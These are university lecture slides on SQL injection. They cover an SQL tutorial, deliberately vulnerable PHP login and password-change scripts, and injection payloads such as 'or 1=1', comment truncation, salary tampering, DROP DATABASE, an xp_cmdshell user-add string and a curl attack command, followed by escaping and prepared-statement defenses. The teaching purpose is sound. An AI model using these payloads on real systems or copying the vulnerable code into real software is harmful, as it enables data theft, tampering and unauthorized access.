SQL Injection (SQLi) Vulnerability

Lecture-4

Department of CSE, IUT

TOPICS

- OWASP Top 10 Vulnerabilities
- SQL Injection Vulnerabilities

designed by freepik

OWASP Top 10 Vulnerabilities

https://www.hacksplaining.com/owasp

https://owasp.org/Top10/

Brief Tutorial of SQL

Brief Tutorial of SQL

- **Log in to MySQL:** We will use MySQL database, which is an open-source relational database management system. We can log in using the following command:

```
$ mysql -uroot -pseedubuntu
Welcome to the MySQL monitor.
...
mysql>
```

- **Create a Database**: Inside MySQL, we can create multiple databases. “SHOW DATABSES” command can be used to list existing databases. We will create a new database called dbtest:

```
mysql> SHOW DATABASES;
......
mysql> CREATE DATABASE dbtest;
```

SQL Tutorial: Create a Table

- A relational database organizes its data using tables. Let us create a table called employee with seven attributes (i.e. columns) for the database “dbtest”

  - We need to let the system know which database to use as there may be multiple databases

  - After a table is created, we can use describe to display the structure of the table

```
mysql> USE dbtest
mysql> CREATE TABLE employee (
  ID       INT (6) NOT NULL AUTO_INCREMENT,
  Name     VARCHAR (30) NOT NULL,
  EID      VARCHAR (7) NOT NULL,
  Password VARCHAR (60),
  Salary   INT (10),
  SSN      VARCHAR (11),
  PRIMARY KEY (ID)
);
mysql> DESCRIBE employee;
+----------+-------------+------+-----+---------+----------------+
| Field    | Type        | Null | Key | Default | Extra          |
+----------+-------------+------+-----+---------+----------------+
| ID       | int(6)      | NO   | PRI | NULL    | auto_increment |
| Name     | varchar(30) | NO   |     | NULL    |                |
| EID      | varchar(30) | NO   |     | NULL    |                |
| Password | varchar(60) | YES  |     | NULL    |                |
| Salary   | int(10)     | YES  |     | NULL    |                |
| SSN      | varchar(11) | YES  |     | NULL    |                |
+----------+-------------+------+-----+---------+----------------+
```

SQL Tutorial: Insert a Row

- We can use the INSERT INTO statement to insert a new record into a table :

```
mysql> INSERT INTO employee (Name, EID, Password, Salary, SSN)
       VALUES ('Ryan Smith', 'EID5000', 'paswd123', 80000,
               '555-55-5555');
```

- Here, we insert a record into the “employee” table.

- We do not specify a value of the ID column, as it will be automatically set by the database.

SQL Tutorial: SELECT Statement

- The SELECT statement is the most common operation on databases
- It retrieves information from a database

```
mysql> SELECT * FROM employee;
+----+---------+---------+----------+--------+-------------+
| ID | Name    | EID     | Password | Salary | SSN         |
+----+---------+---------+----------+--------+-------------+
|  1 | Alice   | EID5000 | paswd123 |  80000 | 555-55-5555 |
|  2 | Bob     | EID5001 | paswd123 |  80000 | 555-66-5555 |
|  3 | Charlie | EID5002 | paswd123 |  80000 | 555-77-5555 |
|  4 | David   | EID5003 | paswd123 |  80000 | 555-88-5555 |
+----+---------+---------+----------+--------+-------------+
mysql> SELECT Name, EID, Salary FROM employee;
+---------+---------+--------+
| Name    | EID     | Salary |
+---------+---------+--------+
| Alice   | EID5000 |  80000 |
| Bob     | EID5001 |  80000 |
| Charlie | EID5002 |  80000 |
| David   | EID5003 |  80000 |
+---------+---------+--------+
```

Asks the database for all its records, including all the columns

Asks the database only for Name, EID and Salary columns

SQL Tutorial: WHERE Clause

- It is uncommon for a SQL query to retrieve all records in a database.
- WHERE clause is used to set conditions for several types of SQL statements including SELECT, UPDATE, DELETE etc.

```
mysql> SQL Statement
       WHERE predicate;
```

- The above SQL statement only reflects the rows for which the predicate in the WHERE clause is TRUE.
- The predicate is a logical expression; multiple predicates can be combined using keywords AND and OR.
- Lets look at an example in the next slide.

SQL Tutorial: WHERE Clause

- The first query returns a record that has EID5001 in EID field
- The second query returns the records that satisfy either EID='EID5001' or Name='David'

```
mysql> SELECT * FROM employee WHERE EID='EID5001';
+----+------+---------+----------+--------+-------------+
| ID | Name | EID     | Password | Salary | SSN         |
+----+------+---------+----------+--------+-------------+
|  2 | Bob  | EID5001 | paswd123 |  80000 | 555-66-5555 |
+----+------+---------+----------+--------+-------------+

mysql> SELECT * FROM employee WHERE EID='EID5001' OR Name='David';
+----+-------+---------+----------+--------+-------------+
| ID | Name  | EID     | Password | Salary | SSN         |
+----+-------+---------+----------+--------+-------------+
|  2 | Bob   | EID5001 | paswd123 |  80000 | 555-66-5555 |
|  4 | David | EID5003 | paswd123 |  80000 | 555-88-5555 |
+----+-------+---------+----------+--------+-------------+
```

SQL Tutorial: WHERE Clause

- If the condition is always True, then all the rows are affected by the SQL statement

```
mysql> SELECT * FROM employee WHERE 1=1;
+----+---------+---------+----------+--------+-------------+
| ID | Name    | EID     | Password | Salary | SSN         |
+----+---------+---------+----------+--------+-------------+
|  1 | Alice   | EID5000 | paswd123 |  80000 | 555-55-5555 |
|  2 | Bob     | EID5001 | paswd123 |  80000 | 555-66-5555 |
|  3 | Charlie | EID5002 | paswd123 |  80000 | 555-77-5555 |
|  4 | David   | EID5003 | paswd123 |  80000 | 555-88-5555 |
+----+---------+---------+----------+--------+-------------+
```

- This 1=1 predicate looks quite useless in real queries, but it will become useful in SQL Injection attacks

SQL Tutorial: UPDATE Statement

- We can use the UPDATE Statement to modify an existing record

```
mysql> UPDATE employee SET Salary=82000 WHERE Name='Bob';
mysql> SELECT * FROM employee WHERE Name='Bob';
+----+------+---------+----------+--------+--------------+
| ID | Name | EID     | Password | Salary | SSN          |
+----+------+---------+----------+--------+--------------+
|  2 | Bob  | EID5001 | paswd123 |  82000 | 555-66-5555  |
+----+------+---------+----------+--------+--------------+
```

SQL Tutorial: Comments

MySQL supports three comment styles

- Text from the # character to the end of line is treated as a comment
- Text from the "--" to the end of line is treated as a comment.
- Similar to C language, text between /* and */ is treated as a comment

```
mysql> SELECT * FROM employee;    # Comment to the end of line
mysql> SELECT * FROM employee;    -- Comment to the end of line
mysql> SELECT * FROM /* In-line comment */ employee;
```

Interacting with Database in Web Application

Interacting with Database in Web Application

- A typical web application consists of three major components:

- SQL Injection attacks can cause damage to the database. As we notice in the figure, the users do not directly interact with the database but through a web server. If this channel is not implemented properly, malicious users can attack the database.

Getting Data from User

- This example shows a form where users can type their data. Once the submit button is clicked, an HTTP request will be sent out with the data attached

EID EID5000
Password paswd123
Submit

- The HTML source of the above form is given below:

```
<form action="getdata.php" method="get">
  EID:      <input type="text" name="EID"><br>
  Password: <input type="text" name="Password"><br>
            <input type="submit" value="Submit">
</form>
```

- Request generated is:

```
http://www.example.com/getdata.php?EID=EID5000&Password=paswd123
```

Getting Data from User

- The request shown is an HTTP GET request, because the method field in the HTML code specified the get type
- In GET requests, parameters are attached after the question mark in the URL
- Each parameter has a name=value pair and are separated by “&”
- In the case of HTTPS, the format would be similar but the data will be encrypted
- Once this request reached the target PHP script the parameters inside the HTTP request will be saved to an array $_GET or $_POST. The following example shows a PHP script getting data from a GET request

```
<?php
   $eid = $_GET['EID'];
   $pwd = $_GET['Password'];
   echo "EID: $eid --- Password: $pwd\n";
?>
```

How Web Applications Interact with Database

Connecting to MySQL Database

- PHP program connects to the database server before conducting query on database using.
- The code shown below uses new mysqli(…) along with its 4 arguments to create the database connection.

```
function getDB() {
   $dbhost="localhost";
   $dbuser="root";
   $dbpass="seedubuntu";
   $dbname="dbtest";

   // Create a DB connection
   $conn = new mysqli($dbhost, $dbuser, $dbpass, $dbname);
   if ($conn->connect_error) {
         die("Connection failed: " . $conn->connect_error . "\n");
   }
   return $conn;
}
```

How Web Applications Interact with Database

- Construct the query string and then send it to the database for execution.
- The channel between user and database creates a new attack surface for the database.

```
/* getdata.php */
<?php
   $eid = $_GET['EID'];
   $pwd = $_GET['Password'];

   $conn = new mysqli("localhost", "root", "seedubuntu", "dbtest");
   $sql = "SELECT Name, Salary, SSN
           FROM employee
           WHERE eid= '$eid' and password='$pwd'";

   $result = $conn->query($sql);
   if ($result) {
      // Print out the result
      while ($row = $result->fetch_assoc()) {
        printf ("Name: %s -- Salary: %s -- SSN: %s\n",
                $row["Name"], $row["Salary"], $row['SSN']);
      }
      $result->free();
   }
   $conn->close();
?>
```

Constructing SQL statement

A Closer Look at SQL Injection

What is a SQL Injection (SQLi) Attack?

- Many web applications take user input from a form
- Often this user input is used literally in the construction of a SQL query submitted to a database. For example:

  SELECT productdata FROM table WHERE productname = '***user input product name***' ;

- A SQL injection attack involves placing SQL statements in the user input

https://www.helpnetsecurity.com/2021/01/11/sql-injection-bug/

Test Your CISSP KNOWLEDGE with FREE Interactive Flash Cards (ISC)² ACCESS NOW ▶

Featured news

Cyber criminals are targeting digital artists

VPN attacks up nearly 2000% as companies embrace a hybrid workplace

Cloud computing costs skyrocketing as businesses support a remote workforce

Top threats to consumer cyber safety

Vaccine passports challenged by data privacy and security implications

Matias Madou, CTO, Secure Code Warrior
January 11, 2021

Share

SQL injection: The bug that seemingly can't be squashed

If you're in a hands-on cybersecurity role that requires some familiarity with code, chances are good that you've had to think about SQL injection over and over (and over) again.

To identify cybersecurity vendor sustainability, start with the fundamentals

Why XSS is still an XXL issue in 2021

Are your cyber defenses stuck in the sandbox?

How do I select an ITSM solution for my business?

CCSP Certified Cloud Security Professional
An (ISC)² Certification
A Guide to Becoming
CCSP CERTIFIED
Elevate Your Cloud

Structured Query Language (SQL)

- Widely used **database query language**
- Retrieve a set of records, e.g.,

  SELECT * FROM Person WHERE Username='Lee'
- Add data to the table, e.g.,

  INSERT INTO Key (Username, Key) VALUES ('Lee', Ifoutw2)
- Modify data, e.g.,

  UPDATE Keys SET Key=ifoutw2 WHERE PersonID=8

Sample PHP Code

```
$selecteduser = $_GET['user'];
$sql = "SELECT Username, Key FROM Key”.
        "WHERE Username='$selecteduser'";
$rs = $db->executeQuery($sql);
```

- What if **‘user’ is a malicious string** that changes the meaning of the query?

SQL Injection: Basic Idea

- **This is an input validation vulnerability**
  Unsanitized user input in SQL query to back-end database changes the meaning of query

Example Login Prompt

Normal Login

Malicious User Input

Example SQL Injection Attack

Produced with a Trial Version of PDF Annotator - www.PDFAnnotator.com

SQL Injection Attack #1

Unauthorized Access Attempt:

`password =` **’ or 1=1 --**

SQL statement becomes:

select count(*) from *users* **where** *username* = *‘user’* **and**

password = *‘’* **or 1=1 –**

Checks if password is empty OR 1=1, which is always true, permitting access.

SQL Injection Attack #2

Database Modification Attack:

password = foo'; **delete from table** *users*

where *username* **like** '%

DB executes ***two*** SQL statements:

select count(*) from *users* **where** *username* = *'user'* **and** *password* = *'foo'* ;

delete from table *users* **where** *username* **like** '%'

Launching SQL Injection Attacks

- Everything provided by user will become part of the SQL statement. Is it possible for a user to change the meaning of the SQL statement?
- The intention of the web app developer by the following is for the user to provide some data for the blank areas.

```
SELECT Name, Salary, SSN
FROM employee
WHERE eid=' [                    ] ' and password=' [                    ] '
```

- Assume that a user inputs a random string in the password entry and types “EID5002’#” in the eid entry. The SQL statement will become the following

```
SELECT Name, Salary, SSN
FROM employee
WHERE eid= 'EID5002' #' and password='xyz'
```

Launching SQL Injection Attacks

- Everything from the # sign to the end of line is considered as comment. The SQL statement will be equivalent to the following:

```
SELECT Name, Salary, SSN
FROM employee
WHERE eid= 'EID5002'
```

- The above statement will return the name, salary and SSN of the employee whose EID is EID5002 even though the user doesn't know the employee's password. This is security breach.
- Let's see if a user can get all the records from the database assuming that we don't know all the EID's in the database.
- We need to create a predicate for WHERE clause so that it is true for all records.

```
SELECT Name, Salary, SSN
FROM employee
WHERE eid= 'a' OR 1=1
```

Launching SQL Injection Attacks using cURL

- More convenient to use a command-line tool to launch attacks.
- Easier to automate attacks without a graphic user interface.
- Using cURL, we can send out a form from a command-line, instead of from a web page.

```
% curl 'www.example.com/getdata.php?EID=a' OR 1=1 #&Password='
```

- The above command will not work. In an HTTP request, special characters are in the attached data needs to be encoded or they maybe mis-interpreted.
- In the above URL we need to encode the apostrophe, whitespace and the # sign and the resulting cURL command is as shown below:

```
% curl 'www.example.com/getdata.php?EID=a%27%20
                                    OR%201=1%20%23&Password='
Name: Alice -- Salary: 80000 -- SSN: 555-55-5555<br>
Name: Bob -- Salary: 82000 -- SSN: 555-66-5555<br>
Name: Charlie -- Salary: 80000 -- SSN: 555-77-5555<br>
Name: David -- Salary: 80000 -- SSN: 555-88-5555<br>
```

Modify Database

- If the statement is UPDATE or INSERT INTO, we will have chance to change the database.
- Consider the form created for changing passwords. It asks users to fill in three pieces of information, EID, old password and new password.
- When Submit button is clicked, an HTTP POST request will be sent to the server-side script `changepasswd.php`, which uses an UPDATE statement to change the user's password.

EID	EID5000
Old Password	paswd123
New Password	paswd456

Submit

```
/* changepasswd.php */
<?php
   $eid = $_POST['EID'];
   $oldpwd = $_POST['OldPassword'];
   $newpwd = $_POST['NewPassword'];

   $conn = new mysqli("localhost", "root", "seedubuntu", "dbtest");
   $sql = "UPDATE employee
           SET password='$newpwd'
           WHERE eid= '$eid' and password='$oldpwd'";

   $result = $conn->query($sql);
   $conn->close();
?>
```

Modify Database

- Let us assume that Alice (EID5000) is not satisfied with the salary she gets. She would like to increase her own salary using the SQL injection vulnerability. She would type her own EID and old password. The following will be typed into the “New Password” box :

New Password	paswd456’, salary=100000 #

- By typing the above string in “New Password” box, we get the UPDATE statement to set one more attribute for us, the salary attribute. The SQL statement will now look as follows.

```
UPDATE employee
SET password='paswd456', salary=100000 #'
WHERE eid= 'EID5000' and password='paswd123'";
```

- What if Alice doesn’t like Bob and would like to reduce Bob’s salary to 0, but she only knows Bob’s EID (eid5001), not his password. How can she execute the attack?

EID	EID5001’ #
Old Password	anything
New Password	paswd456’, salary=0 #

Multiple SQL Statements

- Damages that can be caused are bounded because we cannot change everything in the existing SQL statement.
- It will be more dangerous if we can cause the database to execute an arbitrary SQL statement.
- To append a new SQL statement “DROP DATABASE dbtest” to the existing SQL statement to delete the entire dbtest database, we can type the following in the EID box

EID a’; DROP DATABASE dbtest; #

- The resulting SQL statement is equivalent to the following, where we have successfully appended a new SQL statement to the existing SQL statement string.

```
SELECT Name, Salary, SSN
FROM employee
WHERE eid= 'a'; DROP DATABASE dbtest;
```

- The above attack doesn’t work against MySQL, because in PHP’s mysqli extension, the mysqli::query() API doesn’t allow multiple queries to run in the database server.

Multiple SQL Statements

- The code below tries to execute two SQL statements using the $mysqli->query() API

```
/* testmulti_sql.php */
<?php
$mysqli = new mysqli("localhost", "root", "seedubuntu", "dbtest");
$res    = $mysqli->query("SELECT 1; DROP DATABASE dbtest");
if (!$res) {
  echo "Error executing query: (" .
        $mysqli->errno . ") " . $mysqli->error;
}
?>
```

- When we run the code, we get the following error message:

```
$ php testmulti_sql.php
Error executing query: (1064) You have an error in your SQL syntax;
    check the manual that corresponds to your MySQL server version
    for the right syntax to use near 'DROP DATABASE dbtest' at line 1
```

- If we do want to run multiple SQL statements, we can use $mysqli -> multi_query(). [not recommended]

Another SQL Injection Example

[From Kevin Mitnick's "The Art of Intrusion"]

- User enters: ' OR WHERE pwd LIKE '% as both name and passwd
- Server executes:

SELECT * WHERE user='' OR ~~WHERE~~ pwd LIKE '%' AND pwd='' OR ~~WHERE~~ pwd LIKE '%'

Wildcard matches <u>any</u> password

- Logs in with the credentials of the first person in the database (typically, administrator!)

It Gets Better

- User gives username

  ′ exec cmdshell ‘net user badguy badpwd’ / ADD --

- Web server executes query

  set UserFound=execute(

  SELECT * FROM UserTable WHERE

  username= ‘’ exec … -- …);

More SQL Injection Attacks

- Create new users

  ’; INSERT INTO USERS (‘uname’,‘passwd’,‘salt’)

  VALUES (‘hacker’,‘38a74f’, 3234);

- Reset password

  ’; UPDATE USERS SET email=hcker@root.org WHERE

  email=victim@yahoo.com

An example Vulnerable Website

SQL Injection - Start (hacksplaining.com)

The Fundamental Cause

Mixing data and code together is the cause of several types of vulnerabilities and attacks including SQL Injection attack, XSS attack, attacks on the system() function and format string attacks.

How to Prevent SQLi attack?

- Check syntax of input for validity
  - **Many classes of input have fixed languages**
    - Email addresses, dates, part numbers, etc.
    - Verify that the input is a valid string in the language
    - Some languages allow problematic characters (e.g., ‘*’ in email); may decide to not allow these
    - Exclude quotes and semicolons
  - Not always possible: consider the name Bill O’Reilly

How to Prevent SQLi attack?

- Have length limits on input
  - Many SQL injection attacks depend on entering long strings
- Use provided functions for escaping strings
  - Many attacks can be thwarted by simply using the SQL string escaping mechanism
    - ‘ □ \’ and “ □ \”
  - mysql_real_escape_string() is the preferred function for this
- Will not guard against all attacks
  - Consider:
    - SELECT fields FROM table WHERE id = **23 OR 1=1**
    - No quotes here!

Countermeasures: Filtering and Encoding Data

- Before mixing user-provided data with code, inspect the data. Filter out any character that may be interpreted as code.
- Special characters are commonly used in SQL Injection attacks. To get rid of them, encode them.
- Encoding a special character tells parser to treat the encoded character as data and not as code. This can be seen in the following example

```
Before encoding:   aaa' OR 1=1 #
After encoding:    aaa\' OR 1=1 #
```

- PHP's mysqli extension has a built-in method called mysqli::real_escape_string(). It can be used to encode the characters that have special meanings in SQL. The following code snippet shows how to use this API.

```
/* getdata_encoding.php */
<?php
   $conn = new mysqli("localhost", "root", "seedubuntu", "dbtest");
   $eid = $mysqli->real_escape_string($_GET['EID']);          ①
   $pwd = $mysqli->real_escape_string($_GET['Password'];      ②
   $sql = "SELECT Name, Salary, SSN
           FROM employee
           WHERE eid= '$eid' and password='$pwd'";
?>
```

Countermeasures: Prepared Statement

- **Fundament cause** of SQL injection: mixing data and code
- **Fundament solution**: separate data and code.
- **Main Idea:** Sending code and data in separate channels to the database server. This way the database server knows not to retrieve any code from the data channel.
- **How:** using **prepared statement**
- **Prepared Statement:** It is an optimized feature that provides improved performance if the same or similar SQL statement needs to be executed repeatedly. Using prepared statements, we send an SQL statement template to the database, with certain values called parameters left unspecified. The database parses, compiles and performs query optimization on the SQL statement template and stores the result without executing it. We later bind data to the prepared statement

Countermeasures: Prepared Statement

```
$conn = new mysqli("localhost", "root", "seedubuntu", "dbtest");
$sql = "SELECT Name, Salary, SSN
        FROM employee
        WHERE eid= '$eid' and password='$pwd'";
$result = $conn->query($sql);
```

- The vulnerable version: code and data are mixed together.

Using prepared statements, we separate code and data.

```
$conn = new mysqli("localhost", "root", "seedubuntu", "dbtest");
$sql = "SELECT Name, Salary, SSN
        FROM employee
        WHERE eid= ? and password=?";                ①

if ($stmt = $conn->prepare($sql)) {                  ②
   $stmt->bind_param("ss", $eid, $pwd);              ③
   $stmt->execute();                                 ④

   $stmt->bind_result($name, $salary, $ssn);         ⑤
   while ($stmt->fetch()) {                          ⑥
      printf ("%s %s %s\n", $name, $salary, $ssn);
   }
}
```

Send code

Send data

Start execusion

Why Are Prepared Statements Secure?

- Trusted code is sent via a code channel.
- Untrusted user-provided data is sent via data channel.
- Database clearly knows the boundary between code and data.
- Data received from the data channel is not parsed.
- Attacker can hide code in data, but the code will never be treated as code, so it will never be attacked.

Overall Prevention Policy

- Prevent leakage of database schema and other information
- Limit privileges (defense in depth)
- Encrypt sensitive data stored in database
- Harden DB server and host OS
- Apply input validation

Lets Try some examples

Please Visit:

SQL Fiddle

SQL Injection Tutorial

Link 1:
https://youtu.be/3Axp3VDnf0I

Link 2:
https://youtu.be/FHCTfA9cCXs

Further Practice

https://seedsecuritylabs.org/Labs_20.04/Web/Web_SQL_Injection/

References

1. Lecture by Mohammad Ariful Islam, Information Security Specialist, BGD e-GOV CIRT, Bangladesh Computer Council, A Short Course on Cyber Security for Information Age: Practices and Challenges, Organized by Department of CSE, IUT.
2. Lecture by Dr. Sarker Tanveer Ahmed Rumee, Assistant Professor, Department of CSE, University of Dhaka. A Short Course titled "Hands on Training on Fundamental Web and Application Security Issues for NREN Professionals" , Organized by Institute of Information Technology (IIT),DU, Funded by This workshop has received funding from Asi@Connect project which is the European Union co-funding project under Grant contract ACA 2016-376-562
3. Software Security – Coursera, Offered by University of Maryland, College Park.

   https://www.coursera.org › learn › software-security